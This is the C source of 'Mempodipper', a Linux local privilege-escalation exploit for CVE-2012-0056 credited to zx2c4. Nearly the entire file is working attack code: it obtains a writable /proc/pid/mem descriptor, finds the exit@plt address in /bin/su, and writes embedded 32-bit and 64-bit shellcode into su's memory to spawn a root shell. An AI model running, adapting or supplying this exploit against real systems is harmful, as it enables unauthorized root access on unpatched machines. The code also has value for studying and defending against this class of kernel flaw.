* Mempodipper
* by zx2c4
*
* Linux Local Root Exploit
*
* Rather than put my write up here, per usual, this time I've put it
* in a rather lengthy blog post: http://blog.zx2c4.com/749
*
* Enjoy.
*
* - zx2c4
* Jan 21, 2012
*
* CVE-2012-0056
*/
#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>
char *prog_name;
int send_fd(int sock, int fd)
{
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
int n;
char cms[CMSG_SPACE(sizeof(int))];
buf[0] = 0;
iov.iov_base = buf;
iov.iov_len = 1;
memset(&msg, 0, sizeof msg);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = (caddr_t)cms;
msg.msg_controllen = CMSG_LEN(sizeof(int));
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
return -1;
close(sock);
return 0;
}
int recv_fd(int sock)
{
int n;
int fd;
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
char cms[CMSG_SPACE(sizeof(int))];
iov.iov_base = buf;
iov.iov_len = 1;
memset(&msg, 0, sizeof msg);
msg.msg_name = 0;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = (caddr_t)cms;
msg.msg_controllen = sizeof cms;
if ((n = recvmsg(sock, &msg, 0)) < 0)
return -1;
if (n == 0)
return -1;
cmsg = CMSG_FIRSTHDR(&msg);
memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
close(sock);
return fd;
}
unsigned long ptrace_address()
{
int fd[2];
printf("[+] Creating ptrace pipe.\n");
pipe2(fd, O_NONBLOCK);
printf("[+] Forking ptrace child.\n");
int child = fork();
if (child) {
close(fd[1]);
char buf;
printf("[+] Waiting for ptraced child to give output on syscalls.\n");
for (;;) {
wait(NULL);
if (read(fd[0], &buf, 1) > 0)
break;
ptrace(PTRACE_SYSCALL, child, NULL, NULL);
}
printf("[+] Error message written. Single stepping to find address.\n");
struct user_regs_struct regs;
for (;;) {
ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
wait(NULL);
ptrace(PTRACE_GETREGS, child, NULL, ®s);
#if defined(__i386__)
#define instruction_pointer regs.eip
#define upper_bound 0xb0000000
#elif defined(__x86_64__)
#define instruction_pointer regs.rip
#define upper_bound 0x700000000000
#else
#error "That platform is not supported."
#endif
if (instruction_pointer < upper_bound) {
unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
return instruction_pointer;
}
}
} else {
printf("[+] Ptrace_traceme'ing process.\n");
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
perror("[-] ptrace");
return 0;
}
close(fd[0]);
dup2(fd[1], 2);
execl("/bin/su", "su", "not-a-valid-user", NULL);
}
return 0;
}
unsigned long objdump_address()
{
FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
if (!command) {
perror("[-] popen");
return 0;
}
char result[32];
fgets(result, 32, command);
pclose(command);
return strtoul(result, NULL, 16);
}
unsigned long find_address()
{
printf("[+] Ptracing su to find next instruction without reading binary.\n");
unsigned long address = ptrace_address();
if (!address) {
printf("[-] Ptrace failed.\n");
printf("[+] Reading su binary with objdump to find exit@plt.\n");
address = objdump_address();
if (address == ULONG_MAX || !address) {
printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
exit(-1);
}
}
printf("[+] Resolved call address to 0x%lx.\n", address);
return address;
}
int su_padding()
{
printf("[+] Calculating su padding.\n");
FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
if (!command) {
perror("[-] popen");
exit(1);
}
char result[256];
fgets(result, 256, command);
pclose(command);
return strstr(result, "this-user-does-not-exist") - result;
}
int child(int sock)
{
char parent_mem[256];
sprintf(parent_mem, "/proc/%d/mem", getppid());
printf("[+] Opening parent mem %s in child.\n", parent_mem);
int fd = open(parent_mem, O_RDWR);
if (fd < 0) {
perror("[-] open");
return 1;
}
printf("[+] Sending fd %d to parent.\n", fd);
send_fd(sock, fd);
return 0;
}
int parent(unsigned long address)
{
int sockets[2];
printf("[+] Opening socketpair.\n");
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
perror("[-] socketpair");
return 1;
}
if (fork()) {
printf("[+] Waiting for transferred fd in parent.\n");
int fd = recv_fd(sockets[1]);
printf("[+] Received fd at %d.\n", fd);
if (fd < 0) {
perror("[-] recv_fd");
return 1;
}
printf("[+] Assigning fd %d to stderr.\n", fd);
dup2(2, 15);
dup2(fd, 2);
unsigned long offset = address - su_padding();
printf("[+] Seeking to offset 0x%lx.\n", offset);
lseek64(fd, offset, SEEK_SET);
#if defined(__i386__)
// See shellcode-32.s in this package for the source.
char shellcode[] =
"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
"\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";
#elif defined(__x86_64__)
// See shellcode-64.s in this package for the source.
char shellcode[] =
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
"\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
"\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
"\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
"\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
printf("[+] Executing su with shellcode.\n");
execl("/bin/su", "su", shellcode, NULL);
} else {
char sock[32];
sprintf(sock, "%d", sockets[0]);
printf("[+] Executing child from child fork.\n");
execl("/proc/self/exe", prog_name, "-c", sock, NULL);
}
return 0;
}
int main(int argc, char **argv)
{
prog_name = argv[0];
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
return child(atoi(argv[2]));
printf("===============================\n");
printf("= Mempodipper =\n");
printf("= by zx2c4 =\n");
printf("= Jan 21, 2012 =\n");
printf("===============================\n\n");
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
return parent(strtoul(argv[2], NULL, 16));
else
return parent(find_address());
}
